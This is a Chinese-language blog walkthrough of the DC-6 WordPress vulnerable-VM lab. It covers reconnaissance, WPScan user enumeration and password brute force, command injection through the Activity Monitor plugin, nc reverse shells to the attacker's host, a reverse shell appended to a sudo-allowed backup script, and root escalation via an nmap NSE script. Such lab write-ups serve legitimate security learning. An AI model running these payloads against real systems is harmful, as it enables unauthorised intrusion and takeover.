渗透测试——靶机DC-6详细横向过程(Wordpress渗透)

大家也是好久不见,休息了一周,今天也是给大家继续带来渗透测试靶机DC-6的详细横向以及渗透过程;

明天不出意外的话给大家写一篇Linux的应急响应靶机的文章;

文章目录


网络配置

还是老样子,我们还是将VirtualBox的DC-6靶机与Vmware的Kali主机进行网络连通性的设置;

DC-6网络设置

首先我们点击靶机 ---> 选择设置 ---> 网络 ---> 仅主机网络:

随后将网络配置为192.168.56.0/24网段的IP地址:

这里靶机DC-6的网络配置就好了;


接下来我们配置Kali的 ---> 虚拟网络编辑器 ---> 新建一个NAT网卡 ---> 配置192.168.56.0/24网段:

随后我们打开kali,输入命令ifconfig,查看是否配置成功:

这里需要先打开VirtualBox的靶机,否则可能会出现网络不显示的情况:


如图所示:

Kali主机网络成功配置,可以看到也是56网段了;


信息收集

然后我们就对目标网段192.168.56.0/24进行信息收集(因为此时我们不知道目标主机的具体IP地址是什么):

bash 复制代码
nmap -sP 192.168.56.0/24

这时候我们得到两个IP地址,究竟哪一个是真正的目标主机?

我们可以用ping IP地址 的方法来进行验证:

所以我们可以确定目标主机的网络为192.168.56.110

接下来我们需要查看目标主机开放了哪些服务以及端口:

bash 复制代码
# 详细信息收集
nmap -sC -sV -A -T4 192.168.56.110

可以看到开放的是http服务以及ssh服务(真实生产中对外开放很危险);


接下来我们就去访问目标主机,查看他的Web服务搭建了什么框架或者使用了哪些可利用的中间件:

一、问题解决:wordy服务无法访问?

我们访问网址 http://192.168.56.110/,发现失败?

这个时候就需要去kali的/etc/hosts文件去设置一下DNS本地解析

关于什么是DNS本地解析以及它的原理,具体可以看Kioptrix3靶机多种方法渗透提权(手把手详细教程)这篇文章;

我之前将其进行修改为:

修改后,尝试继续访问http://192.168.56.110/,**还是不行。。。**

尝试检测所用的中间件:


问题原因:

这个现象不是 Web 服务挂了 ,而是一个典型的「域名 + 虚拟主机(vhost)+ hosts 解析冲突」问题 ,而且你现在的 /etc/hosts 确实配错了,所以浏览器被"带偏"了。

(1)现象拆解(为什么会这样)
text 复制代码
http://192.168.56.110/  → 301 → RedirectLocation[http://wordy/]
  • 192.168.56.110 上的 Apache
  • 配置了 强制跳转到域名 wordy
(2)访问 http://wordy/ 后发生了什么?
text 复制代码
http://wordy/ [200 OK]
HTTPServer[nginx/1.24.0]
IP[192.168.44.146]
Title[Apache2 Debian Default Page: It works]

⚠️ 关键点:

  • wordy 被解析到了 192.168.44.146(kali地址)
  • 但真正想访问的是 192.168.56.110(目标地址)
  • 结果进的是 另一张网卡 / 另一台机器 / 另一套 nginx
(3)致命错误在 /etc/hosts

现在的 hosts:

text 复制代码
192.168.56.102 wordy
192.168.44.146 wordy

这是错误的

原因:

  • 同一个域名 wordy
  • 被绑定到了 两个不同 IP
  • Linux 解析时命中顺序不可控
  • 浏览器 / curl / whatweb 可能解析到任意一个

二、问题解决

第一步:只保留一个 wordy 映射(指向 192.168.56.110)

编辑 /etc/hosts

bash 复制代码
vim /etc/hosts

改成下面这样:

使其指向目标主机192.168.56.110地址

第二步:验证解析是否正确
bash 复制代码
getent hosts wordy

# 正确结果应该是:
192.168.56.110  wordy

如果不是,说明 hosts 还没改干净。

成功解析;

第三步:重新访问(推荐方式)
bash 复制代码
# 直接用域名访问:
curl -I http://wordy/

# 或浏览器直接访问:
http://wordy/

正确结果如下:


使用框架:Wordpress

随后我们探测目标网站使用了什么框架:

发现此web框架采用WordPress CMS

当然还可以使用插件进行收集信息:

Web目录枚举

然后我们使用dirsearch对目标网址进行目录枚举:

bash 复制代码
python dirsearch.py -u http://192.168.56.110

# 只要200,301等响应码
python dirsearch.py -u http://192.168.56.110 -i 200,301,302 -x 404,503

得到结果如下:

类型 路径 状态码 价值说明
站点入口 /index.php 200 网站首页,可分析主题、插件痕迹,判断站点结构
版本信息 /readme.html 200 可能直接泄露 WordPress 版本号(重点)
版本信息 /license.txt 200 确认 WordPress 类型,辅助版本识别
登录入口 /wp-login.php 200 WordPress 登录页面,可进行用户名枚举、弱口令测试
后台入口 /wp-admin/ 302 后台路径存在,跳转至登录页
初始化风险 /wp-admin/install.php 200 高危,可能允许重新安装或泄露数据库信息
初始化配置 /wp-admin/setup-config.php 500 初始化配置脚本,可能触发错误信息泄露
核心配置 /wp-config.php 200 异常可访问,极高价值目标,应重点验证
远程接口 /xmlrpc.php 405 XML-RPC 接口存在,可用于用户名枚举、爆破
内容目录 /wp-content/ 200 插件与主题目录,后续漏洞利用关键
核心目录 /wp-includes/ 200 WordPress 核心文件目录,辅助版本与漏洞分析
定时任务 /wp-cron.php 200 定时任务接口,可用于触发任务或 DoS 测试

Web漏洞利用:wordpress后台密码

泄露敏感信息:接下来我们要寻找是否有登陆的账号以及密码

方法 :author 枚举(最经典)

总体思路:

(1)将扫描出的五个用户存到文本user.txt

(2)使用密码本爆破:wpscan --url http://wordy -P user.txt -U password.txt

(3)这里缺密码怎么办?之前用到的工具是Cewl进行爬取从而得到密码字典,这里也可以试试

1. 将扫描出的五个用户存到文本user.txt
bash 复制代码
wpscan --url http://wordy --enumerate u

# 输出示例:
[+] admin
[+] editor

得到结果:

成功枚举出五位用户的信息,并保存到记事本当中;

2. Cewl进行爬取网址密码

成功得到一些密码,保存为passwds.txt ,然后使用WPScan进行网站登录爆破

ps:根据作者的提示,从密码字典当中保存以下密码,可节省时间

成功生成文件:passwords.txt

3. 使用密码本爆破

然后再用wpscan进行爆破:

bash 复制代码
wpscan --url http://wordy -P user.txt -U passwords.txt

经过十几分钟的等待,终于得到了结果:

账号:mark

密码: helpdesk01


登陆系统

访问页面 http://wordy/wp-admin/

随后熟悉一下系统,并查找可能存在的漏洞:

随后发现后台除了一些用户以及评论外,还下载了两个插件,就去网上查找关键词:Activity Monitor的历史漏洞

发现在tools页面,存在一个命令执行的框:(具体可以看我的CTF命令执行部分)

输入命令后发现有长度限制

点击Intercept on开启抓包,随后输入命令whoami,放包:

随后依次点击页面的按钮:

反弹shell

所以我们用同样的方法反弹shell:

bash 复制代码
# 连接kali的8888端口
127.0.0.1 | nc -e /bin/bash 192.168.56.102 8888

点击页面第三个按钮lookup,进行连接:

成功反弹一个会话:

提权

进入会话后,我就用sudo -l 寻找有哪些可疑的文件或者目录:

发现了之前wpscan尝试爆破的用户名

于是就进入到/home 目录依次寻找:

发现:

  • 在jen用户下发现一个backups.sh脚本文件:
  • 在mark用户里发现一个新用户:

别忘了之前用nmap扫描的时候,80和22服务是开放的;

所以尝试用ssh登陆一下这个用户:graham / GSo7isUM1D4

bash 复制代码
ssh graham@192.168.56.110 -p 22

成功登陆;

同样在**/home** 目录下发现四个用户,依次进行查看:

(结果与之前一致)

SUID提权

输入命令:

bash 复制代码
find / -perm -u=s -type f 2>/dev/null

不存在可利用的应用程序或者低版本的内核漏洞;

SUDO提权

输入命令sudo -l 发现了一点东西:

作用 :核心是说明:graham可以jens用户的身份无需输入密码NOPASSWD),执行/home/jens/backups.sh这个脚本。

反弹jens用户的shell

所以我们可利用这个脚本来反弹一个jens用户的shell:

bash 复制代码
# 还是在kali机器的6666端口
echo "nc -e /bin/bash 192.168.56.102 6666" >> backups.sh 

成功添加命令;

(1)再打开kali的监听:

(2)然后在graham用户里以jens的身份运行该文件

bash 复制代码
sudo -u jens ./backups.sh

随后还是输入命令sudo -l 成功发现一个以root用户执行的程序:namp

nmap提权

接下来就是利用nmap进行提权:

bash 复制代码
# 首先创建一个脚本
touch root_shell.sh
echo 'os.execute("/bin/sh")' > root_shell.sh
sudo nmap --script=root_shell.sh

随后也是得到了flag:

总结

本次靶机主要是通过将wordy映射到kali上使其可以访问到相应的域名;随后利用wordpress的漏洞来进行wpscan扫描;最后进入到系统反弹shell,获取root权限;

期待下次再见;

相关推荐
敏编程2 小时前
一天一个Python库:jsonschema - JSON 数据验证利器
python
前端付豪2 小时前
LangChain记忆:通过Memory记住上次的对话细节
人工智能·python·langchain
databook2 小时前
ManimCE v0.20.1 发布:LaTeX 渲染修复与动画稳定性提升
python·动效
BingoGo4 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack4 小时前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
花酒锄作田15 小时前
使用 pkgutil 实现动态插件系统
python
前端付豪19 小时前
LangChain链 写一篇完美推文?用SequencialChain链接不同的组件
人工智能·python·langchain
曲幽19 小时前
FastAPI实战:打造本地文生图接口,ollama+diffusers让AI绘画更听话
python·fastapi·web·cors·diffusers·lcm·ollama·dreamshaper8·txt2img
老赵全栈实战20 小时前
Pydantic配置管理最佳实践(一)
python
阿尔的代码屋1 天前
[大模型实战 07] 基于 LlamaIndex ReAct 框架手搓全自动博客监控 Agent
人工智能·python